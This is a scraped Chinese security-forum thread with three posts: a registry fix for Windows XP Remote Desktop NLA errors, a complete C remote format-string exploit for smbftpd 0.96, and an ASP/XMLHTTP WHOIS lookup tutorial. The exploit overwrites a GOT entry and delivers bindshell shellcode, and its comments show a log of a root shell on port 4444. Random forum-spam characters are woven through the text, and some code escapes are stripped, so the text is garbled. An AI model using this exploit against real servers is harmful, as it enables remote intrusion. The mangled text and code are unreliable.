返回列表 发帖

解决方法:远程计算机需要网络级别身份验证,而您的计算机不支持该验证

故障症状:当您使用Windows XP“远程桌面连接”工具去连接Windows Vistas或Windows Server 2008的远程桌面、终端服务时,出现上述故障。6 t: G3 j. t5 L. ?! L; J/ k
故障产生环境:远程桌面连接工具6.0以下版本,或者Windows XP Profressional SP1、SP2、SP3% X) o. p; o, [. \1 x% W
解决方法:+ \0 H2 i& I0 y- E! m; r  r
1、请升级“远程桌面连接”工具最新6.1版本。7 r4 J& S5 j1 N4 Q
2、请把XP升级到最新SP3补丁包。. ~/ z& r# Q0 O
3、运行“regedit”打开注册表编辑器,进入 “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa”,双击右边栏中的 “Security Packages”,打开“编辑多字符串”对话框,在列表框光标处增加“tspkg”字符。  
" g4 ?- Q( X8 h4、然后定位到 “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders”,双击右侧的“SecurityProviders”字符串,打开“编辑字符串”对话框,在数值末端中添加“, credssp.dll”,注意逗号后有一个英文的空格。 
, D/ y/ i- @+ V, T8 r5、退出注册表程序,重启计算机后故障排除。
$ N0 R8 C* D0 S, H重启系统后,然后再运行mstsc查看关于信息已经显示为支持网络级别身份验证了。
4 a& ?  B3 ~( Q7 {+ y* c1 _3 U/ a. Y  [3 G' s3 g7 |
    有些文章写win2008/Vista不能用IP访问远程桌面,只能用机器名,是不对的。都是可以的。
! j5 d+ H. R+ \' n
$ [. [& T) |; p7 \知识点:什么是网络级身份验证?& ~8 b! Z+ w( ^# x7 h
    网络级身份验证 (NLA) 是一种新的身份验证方法,在您建立所有远程桌面连接之前完成用户身份验证,
& ]/ d- K6 o% }2 f4 p4 N* j  q" K并出现登录屏幕。 这是最安全的身份验证方法,有助于保护远程计算机避免黑客或恶意软件的攻击。NLA
7 j4 y, N6 G- K' T- {& D' [1 x的优点是:; {& E( b0 X$ s
    最初需要较少的远程计算机资源。验证用户之前,远程计算机使用有限的资源,而不是像以前版本那样
& U  w" O/ t  h+ [. B2 q5 l启动所有远程桌面连接。/ Y& M: |, c' e/ o" [+ r
    它通过降低拒绝服务攻击的风险帮助提供更好的安全性。(拒绝服务攻击试图限制或阻止访问Internet。)/ ?1 q4 c, d: {; a8 I
    使用远程计算机身份验证,从而帮助防止用户连接到设置为恶意目的的远程计算机

 

您可能还想看的主题:

新手来论坛学习

美国发明了网络数字大炮,可摧毁整个互联网

花旗支付注入漏洞

计算机犯罪司法解释出台:提供程序工具属犯罪

黑客基地VIP教程1-104课下载<本人求个师傅!要免费的!》

免费数据恢复软件(OO DiskRecovery)下载v7.1.183汉化版

SQL注入是什么情况?

学什么都好,不要学人当黑客

Apache服务器安全防范

如何攻站

1

评分人数

非安全中国网免责声明 1、本帖所有言论和图片纯属发表者个人意见,与本站立场无关;
2、本话题由:haimimi008发表,本帖发表者haimimi008符合《关于版权及免责声明》6大管理制度规定,享有相关权利;
3、其他单位或个人使用、转载或引用本帖时必须征得发表者haimimi008和本站的同意;
4、本帖作品部分转载自其它媒体并在本站发布,转载的目的在于传递更多信息,并不代表本站赞同其观点和对其真实性负责;
5、本帖如有侵犯到贵站或个人版权问题,请立即告知本站,本站将及时予与删除,并致以最深的歉意;
6、本站管理员和版主有权不事先通知发帖者而删除本文。

smbftpd 0.96 远程格式化字符串 Exploit
/** smbftpd 0.96 Proof of concept* tested with smbftpd 0.96 compiled with gcc 3.3.6** 1. write jumpcode to `BSS`*      mov dx, 0x1234*      pop eax*      cmp ax, dx*      jne $-4*      jmp esp* 2. overwrite a GOT entry with the addr to `BSS` &amp; send shellcode**  jerry:~> ./bleh -h localhost*  [+] GOT: 0x80591d8 - .bss (jmpcode): 0x805a791*  [+] localhost:21 (user: anonymous pass: )*  [+] PASV*  [+] writing jumpcode*  [+] PASV*  [+] overwriting GOT entry and sending shellcode*  jerry:~> nc localhost 4444*  id*  uid=0(root) gid=0(root) euid=1002(ftp) egid=1002(ftp) groups=1002(ftp)***  - Jerry Illikainen <jerry@debork.se>**/#include <stdio.h>#include <string.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <netdb.h>#include <stdarg.h>#include <unistd.h>#include <stdlib.h>#define GOT 0x080591d8 // GOT entry for chdir#define BSS 0x0805a791 // this is where the jumpcode will be written#define DEBUG(d) if (debug) d;#define MAXPATH 255#define BUFSIZE 512unsigned int debug = 0;/* bindshell (port 4444) from metasploit.com* restricted chars = 0x00 0x0a 0x0d */unsigned char shellcode[] ="x31xc9x83xe9xebxd9xeexd9x74x24xf4x5bx81x73x13xa3""xefxd7xdbx83xebxfcxe2xf4x92x34x84x98xf0x85xd5xb1""xc5xb7x4ex52x42x22x57x4dxe0xbdxb1xb3xb2xb3xb1x88""x2ax0exbdxbdxfbxbfx86x8dx2ax0ex1ax5bx13x89x06x38""x6ex6fx85x89xf5xacx5ex3ax13x89x1ax5bx30x85xd5x82""x13xd0x1ax5bxeax96x2ex6bxa8xbdxbfxf4x8cx9cxbfxb3""x8cx8dxbexb5x2ax0cx85x88x2ax0ex1ax5b";void usage (char *arg){printf("%s [options]  y7 F; p% z+ V; U2 f
"   "         -h <host>6 Y0 n% S1 x0 _( q8 }
"   "         -p <port>
- `. M- p1 z4 m/ ?"   "         -u <usernmae - default anonymous>
9 I) M& p) M1 U"   "         -P <password - default none>
1 ~% G. G7 G. y7 s1 J2 ^2 W
+ Y5 b. t3 u  E, m2 `8 r- S", arg);exit(1);}int sock (int port, char *host){struct hostent *h;struct sockaddr_in addr;int s;if ((h = gethostbyname(host)) == NULL){perror("[!] gethostbyname");exit(1);}if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){perror("[!] socket");exit(1);}addr.sin_family = AF_INET;addr.sin_port = htons(port);addr.sin_addr = *((struct in_addr *)h->h_addr);memset(addr.sin_zero, '', sizeof addr.sin_zero);if (connect(s, (struct sockaddr *)&amp;addr, sizeof(struct sockaddr)) == -1){perror("[!] connect");exit(1);}return s;}char *s_send (int s, char *m, char *fmt, ...){static char buf[BUFSIZE];char str[BUFSIZE];ssize_t nb;va_list ap;va_start(ap, fmt);vsnprintf(str, BUFSIZE-1, fmt, ap);va_end(ap);if (send(s, str, strlen(str), 0) == -1){perror("[!] send");exit(1);}DEBUG(printf("send: %s
+ k+ `9 Y9 ^8 A/ i* U", str));for (;;){nb = recv(s, buf, BUFSIZE-1, 0);buf[nb-1] = '';if (m == NULL)return buf;else if (strstr(buf, m) != NULL)return buf;}}void fmt (int *jmpaddr, int *jmpc, int got, char mkd[][MAXPATH]){unsigned char a[4], b[4];char *dir = mkd[0];unsigned int i, offset = 1052, start = 256, base = 4;int *pa = (int *)jmpaddr[0], *pb = (int *)jmpc[0];for (i = 0; i <= 4; i++){a[0] = (int)pa >> 24;a[1] = ((int)pa &amp; 0xff0000) >> 16;a[2] = ((int)pa &amp; 0xff00) >> 8;a[3] = (int)pa &amp; 0xff;b[0] = (int)pb >> 24;b[1] = ((int)pb &amp; 0xff0000) >> 16;b[2] = ((int)pb &amp; 0xff00) >> 8;b[3] = (int)pb &amp; 0xff;snprintf(dir, MAXPATH-1,"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c""%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n",a[3], a[2], a[1], a[0],a[3] + 1, a[2], a[1], a[0],a[3] + 2, a[2], a[1], a[0],a[3] + 3, a[2], a[1], a[0],b[3] - 12 + start - (base + 4 - (base%4)), offset,b[2] - b[3] + start, offset + 1,b[1] - b[2] + start, offset + 2,b[0] - b[1] + start, offset + 3);dir = mkd;if (i < 3){pa = (int *)jmpaddr;pb = (int *)jmpc;} else {pa = (int *)got;pb = (int *)jmpaddr[0];}}}int main (int argc, char **argv){int s[2], c, port = 21, pasv[5];unsigned int i;char *host = NULL, *user = "anonymous", *pass = "", *tmp, *p;char mkd[5][MAXPATH], sc[2048];int got = GOT,jmpaddr[] = { BSS, BSS+4, BSS+8 },jmpc[] = {0x1234ba66, // mov dx, 0x1234   - 66 ba 34 120xc2396658, // pop eax          - 580xe4fffa75  // cmp ax,dx        - 66 39 c2                        // jne $-4          - 75 fa                        // jmp esp          - ff e4};while ((c = getopt(argc, argv, "h:p:u:P:?")) != -1){switch (c){case 'h':host = optarg;break;case 'p':port = atoi(optarg);break;case 'u':user = optarg;break;case 'P':pass = optarg;break;case '?':default:usage(argv[0]);break;}}if (host == NULL)usage(argv[0]);printf("[+] GOT: %p - .bss (jmpcode): %p  w7 i; x, |+ D1 {4 J* N- O- l' e
", (void *)got, (void *)jmpaddr[0]);fmt(jmpaddr, jmpc, got, mkd);printf("[+] %s:%d (user: %s pass: %s)' s5 d( U' T0 `+ L* W" L
", host, port, user, pass);s[0] = sock(port, host);s_send(s[0], "331", "USER %s
7 B% ?; G2 m( {", user);p = s_send(s[0], NULL, "PASS %s& o' K# T& e7 @
", pass);if (strstr(p, "230") == NULL){printf("[!] login failed
1 @# O7 e  k) p1 f0 J");exit(1);}p = s_send(s[0], NULL, "MKD %s
" Y& F! B+ I: r+ }6 |2 D( [MKD %s
! M! E( a6 `" V2 `MKD %s( R7 ?  o% N4 `& c) ~: X
", mkd[0], mkd[1], mkd[2]);if (strstr(p, "257") == NULL){printf("[!] couldn't make directories
4 A: I* E8 ^2 K% P/ n5 E");exit(1);}printf("[+] PASV# H+ z/ k% x, J& a! \$ g
");p = s_send(s[0], "227", "PASV" [- }; N, y& N; \# ?
");if (strtok(p, ",") == NULL)exit(1);for (i = 0; i < 5; i++){if ((tmp = strtok(NULL, ",")) == NULL){printf("[!] aborting
. b% W  {. x' n& T9 X  ?");exit(1);}pasv = atoi(tmp);}s[1] = sock(pasv[3]*256+pasv[4], host);printf("[+] writing jumpcode/ k( B/ O) m, |$ S+ g! v
");s_send(s[0], NULL, "NLST -R
* G! _+ Y' u7 C");s_send(s[0], NULL, "RMD %s
& k$ N; c! r" c; M5 L* BRMD %s3 o- x- Y( @: [1 r
RMD %s  O3 |1 g& k* ]2 r( P: f/ H
", mkd[0], mkd[1], mkd[2]);close(s[1]);s_send(s[0], NULL, "MKD %s
9 o. h! B: F$ U7 B8 y  |6 Z( d", mkd[3]);printf("[+] PASV
! t# N4 y, ?) Y% J5 f! d- D");p = s_send(s[0], "227", "PASV  N4 l0 B3 y- P/ E4 W# v
");if (strtok(p, ",") == NULL)exit(1);for (i = 0; i < 5; i++){if ((tmp = strtok(NULL, ",")) == NULL){printf("[!] aborting
2 |3 K, g1 G; p) s' r/ v");exit(1);}pasv = atoi(tmp);}s[1] = sock(pasv[3]*256+pasv[4], host);memset(sc, 0x90, sizeof(sc)); // some nops before andmemcpy(sc+3, "x34x12", 2); // after the "mark"memcpy(sc+12, shellcode, sizeof(sc)-12);printf("[+] overwriting GOT entry and sending shellcode
$ {% a9 s" ~& ~$ l$ _9 P8 `; N) h7 i" ^
");s_send(s[0], NULL, "NLST -R%s) O* p. j1 O# F6 e, }# {3 i3 I6 |
", sc);return 0;}
" [/ f2 i" _4 V7 D* A) u7 m
- r3 p1 Y' N4 T: l/ \3 P  r- ?8 a" K. ?8 l/ {, v+ W

0 w' k1 |4 I1 A0 b8 D* J# q% S
4 N4 R) z  U1 n9 m0 W7 s7 \; _1 x# g& F

% `5 [9 ^" M+ L% \2 g. G  G# t
. w- m6 I6 }% O. W" X6 l7 K& d( d- s/ V) D7 p8 `1 j  |
2 p* A, b* B, c4 ~! e

# |: c" }  n- R! g% l; K
" T. G5 u- U" F- d
% E& h+ Q5 f; b" s  i/ g( D7 a* w" b! V! \

* T( G; H2 B/ v+ E3 H5 ]" |2 r6 i
& k# g3 y2 `$ x9 G* y
; H" i  K6 R' X+ J/ u& w' y$ r" y) l* Q
! R7 H# N( q- v% ?3 Q5 Z/ F" N; j
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

使用xmlhttp为网站增加域名查询功能
当我们准备建立一个Web站点时,就必须向域名登记机构申请一个Internet域名,因此,我们通常希望了解自己准备使用的域名是否已经被注册,这时,可以访问NIC站点http://www.nic.net,点击"whois"链接后输入需查询的域名,就可以得到我们需要的结果。
1 l* |2 ^& Q* o( C8 X8 D# W8 @7 e
! O  T/ Q; O% K- z
WHOIS服务器为 .com、.net 和 .org 的国际顶级域名的查询返回全部的 whois 数据,包括网站域名注册人、管理合约、联系方式(电话、电子邮件、地址)、帐单联络、技术支持和域名服务器信息,对于用户了解一个网站的基本情况很有帮助。在很多域名注册服务商的网站中,通常都有whois(域名查询)的高级服务,但个人网站因为不具备域名注册服务商的资格和数据,所以在一般条件下无法提供whois服务。 Chinaz.com

; \7 }. }, _& O1 W  b& W
其实,利用XMLHTTP协议,我们每个人都可以在自己的个人网站中提供域名详细情况查询(WHOIS)服务,本文介绍了如何使用ASP结合xmlhttp编程来实现这个功能。  

) w  P' H- v1 D& F6 f8 ~( p4 w
一、原理:  
2 O% L, q4 G8 B, k% |4 G6 R
原理非常简单,域名的查询主要是基于RFC 954提供的WHOIS协议。在实现过程中,我们通过自己的WEB服务器访问NIC站点的WHOIS数据库服务器,从WHOIS数据库中查询我们所需要的内容,然后通过ASP组合成网页回送给客户端。  

* ^+ z) s) v/ R! W, G) F& ^* Y
同时,我们使用xmlHttp协议实现客户端网页无刷新效果以及向服务端提出检索WHOIS数据的要求。  

3 S  f$ `+ n$ Y
具体流程为:客户端通过xmlhttp提出域名查询要求-->WEB服务器中的ASP侦听页接受请求后使用xmlhttp向WHOIS服务器发送检索命令-->WHOIS数据库执行查询操作,返回结果给我们自己的WEB服务器(html形式)-->WEB服务器接收到内容后,立即将结果传送给客户端->客户端浏览器使用vbscript过滤掉HTML多余部分,挑选出whois数据显示出来。
. I9 G/ C! q- X9 a" c+ \
1 [4 o$ F! Z& {% r8 J# S
二、ASP XmlHttp编程简述:  

1 E- w" t  e% N* \1 X( e$ H% s
1、客户端html页面:
9 \  J; r: B! b0 N
; o0 P5 Y  b5 C3 b3 Z/ {7 V* L
以下为引用的内容:<script language="vbscript"> Sub submit1_onmouseup '当点击“查询”按钮时触发;  Dim objXML, objXSL, objFSO,strFile, strFileName, strXSL,strURL,TheForm  Set TheForm = Document.wordfind  window.status="正在检索数据···"  strURL="dns.asp"  Set objXML = CreateObject("Microsoft.XMLHTTP") '创建MS的XMLHTTP组件;  stra = "submit=submit&amp;fqdn="&amp;TheForm.words.value  objXML.Open "post",strURL,false '采用Post提交方式;  objXML.setrequestheader "content-length",len(stra) Www~Chinaz~com
) N) z: y6 m1 \; E6 G8 h% G& S
  objXML.setrequestheader "content-type","application/x-www-form-urlencoded"  objXML.send stra ' 发送信息  xmlGet = objXML.responseText '稍等片刻后,得到服务器端传回来的结果;  if instr(1,xmlGet,"This is not a valid .com .net .org .info or .biz domain  name",1)<1 and len(trim(xmlGet))>100 then    if instr(1,xmlGet,"This domain is available",1)<1 then     if instr(1,xmlGet,"Registrant:",1) then      strFind1 =instr(1,xmlGet,"Registrant:",1)    else      strFind1 = instr(1,xmlGet,"<pre><FONT face=""Verdana, Arial",1)+65

1 ]) b( a4 o! m+ K+ R  h+ l
strFind2 = instr(1,xmlGet,"</FONT></pre>",1)     strFind4=strFind2-strFind1     sHTML = mid(xmlGet,strFind1,strFind4)     TheForm.comments.value="查询结果:"+chr(13)+chr(10)+sHTML     window.status="查询结果:该域名已被占用"   else    TheForm.comments.value="恭喜你,此域名可用!" Www^     window.status="查询结果:该域名仍然处于可用状态!"    end if  else   TheForm.comments.value= "无效的国际顶级域名!请输入以(.com .net .org .info or .biz)结尾的国际域名, 例如sun.com"   window.status="无效的国际顶级域名!请输入以(.com .net .org .info or .biz)结尾的国际域名, 例如CCTV.com"  end if  Set objXML = Nothing end sub </script>

; k- \5 T+ L  y. t$ M5 G, q
<html><head><title>XMLHTTP之域名查询篇</title></head><body bgColor=#cccca3><form method="post" name=wordfind onsubmit="javascript:return false">请输入域名名称:<input type="text" value="cctv.com" name="words" size="69"><input type="submit" value="查询" id=Submit1 name=Submit1><TEXTAREA name=comments readonly rows=10 cols=76></TEXTAREA></form></body></html>  
( a* a" f+ S( W1 M  h
2、服务器端ASP程序: Chinaz.com
9 g1 R7 u: K9 s% W, w
以下为引用的内容:<%dim xmlGet,objXML, objXSL, objFSO,strFile, strFileName, strXSL,strURL xmlGet="" if len(trim(Request.form("fqdn"))) > 1 then  strURL="http://www.domainbank.net/whoisresults_gen.cfm?show=1"   'WhoIS服务器的地址  Set objXML = CreateObject("Microsoft.XMLHTTP") '创建MS的XMLHTTP组件

! k7 ]" {: h- F7 O7 Y
  stra = "submit=submit&amp;fqdn="&amp;trim(Request.form("fqdn"))  objXML.Open "post",strURL,false  objXML.setrequestheader "content-length",len(stra)  objXML.setrequestheader "content-type","application/x-www-form-urlencoded" Chinaz   objXML.send stra ' 发送信息到WhoIs数据库服务器;
2 M3 `5 m5 ]' D# P
  xmlGet = objXML.responseText ' 取得域名服务器返回的信息  Set objXML = Nothing end if response.write xmlGet '返回结果给客户端%>  
* ]9 t% z" `6 r
在上述过程中,可以发现我们自己的WEB服务器中的ASP程序其实只起到一个中间传递的作用,在实际应用中,也可以省去这个中间层,使用vbscript通过xmlhttp直接向WHOIS数据库发送和接收数据。不过这样的话,可能会因为IE中“通过(其它)域访问数据资源”被禁用(默认)而引起权限不够导致无法执行,所以该省去ASP中间层的方法并不太通用。

. B8 n  [! d- F4 T4 _( V
; f$ W+ ?% \. V
本程序在基于Windows2000平台的IIS5.0和IE6.0上运行通过。实际使用过程中,可以把上述代码拷贝到自己网页中,经过简单的页面编辑,就可在自己的网页中增加在页面无刷新情况下的域名查询功能了,初看上去,还真的有点象专业的域名注册服务商网站提供的服务了。
. q% K5 _0 ?' U8 r* y
: Y0 N, H# J- w
& D, ^0 s: i  y$ u) K/ f
; k$ ?5 }5 _+ Q4 s, L# t" F
; |6 w, s+ I6 L

( u8 ?  p" z# a- y) e. S
2 Y* {9 R7 Y, V/ J4 \+ Q. l0 s- ~& o" l7 n

' L  L* {: j9 _: }4 U6 V
5 I8 u+ c) @, a: c0 }$ x
, W( `; K/ U( W' a0 `) q8 m7 R* O, ^. i& J: _" L
# U9 y3 b1 h" e9 X$ t8 z
. J  ^# H1 r8 `
" V' Z+ Q2 @( M' c. T, V* o
6 {3 o* U2 c% f1 [9 O- m& Y, \
- p7 r! j$ G" m* O
" `, c$ H! ~0 \3 @( `* }6 g) w

2 O* W' `4 k0 P0 A" {$ P- t6 _- l
5 }8 Y. d  d8 o5 g公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

返回列表